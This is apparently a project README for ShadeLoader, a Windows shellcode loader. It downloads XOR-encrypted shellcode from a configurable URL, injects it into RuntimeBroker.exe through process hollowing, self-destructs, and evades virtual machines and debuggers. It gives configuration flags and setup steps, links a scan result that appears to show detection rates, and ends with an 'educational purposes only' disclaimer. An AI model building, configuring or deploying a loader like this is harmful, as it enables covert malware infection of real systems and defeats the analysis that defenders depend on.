ShadeLoader is a shellcode loader that utilizes process hollowing and XOR encryption techniques to download, decrypt, and inject shellcode into a legitimate process.
-
Initial Access (main.exe):
main.exe
starts a legitimate process,cmd.exe
, in suspended mode.
-
Downloading and Decrypting Shellcode:
cmd.exe
downloads the encrypted shellcode from a specified URL.- The shellcode is encrypted using XOR to obfuscate its content during transport.
- Once downloaded,
cmd.exe
decrypts the shellcode using a key to obtain the clear executable code.
-
Process Hollowing (Injection into RuntimeBroker.exe):
cmd.exe
creates a new process,RuntimeBroker.exe
, in suspended mode.- The decrypted shellcode is injected into the allocated memory of
RuntimeBroker.exe
. cmd.exe
creates a thread inRuntimeBroker.exe
to execute the injected shellcode.
-
Self-destruction:
- Once the shellcode is injected and executed,
main.exe
self-destructs.
- Once the shellcode is injected and executed,
-
VM Protection and Anti-Debugging
The shellcode loader detect and protect against virtual machine environments and debugging tools.
- If the malware detects that it is running in a virtual machine (VM) environment.
- If the malware detects the presence of a debugger.
- If the malware detects common VM artifacts or tools indicating analysis.
you can setup shellcode loader 0 = disable | 1 = enable
ENABLE_DEBUG 0 // if enable its open windows with debug logs
AUTODESTRUCT 1 // auto destuct after execution
SUSPEND_DOWNLOAD 1 // waiting time before download shellcode from web
PROTECTION 1 // anti VM / disable IF YOU USE IN ON VM !!!
in main file you need to configure 2 think
- shellcode URL | line 49
- XOR key use same key for encryption !!! | line 59
Debug mode
#define ENABLE_DEBUG 1
#define AUTODESTRUCT 1
#define SUSPEND_DOWNLOAD 0
#define PROTECTION 0
345540556-a53b4fe9-71f4-40e5-8207-d6568e47824f.mp4
Anti VM
#define ENABLE_DEBUG 1
#define AUTODESTRUCT 1
#define SUSPEND_DOWNLOAD 0
#define PROTECTION 1
345540589-8f202f91-f72d-480e-8323-21484ff65427.mp4
Silent
#define ENABLE_DEBUG 0
#define AUTODESTRUCT 1
#define SUSPEND_DOWNLOAD 1
#define PROTECTION 0
345540636-b04bf295-2723-4992-8547-673753c6674c.mp4
https://kleenscan.com/scan_result/e116638a3bac264968b2a86f32e6a24db53f7f27335810caba68233ca5771e4d
also includes a encrypt.py file to encrypt the shellcode before downloading. You can use it to prepare your shellcode before deployment.
This project is for educational purposes only. Any malicious use of this code is strictly prohibited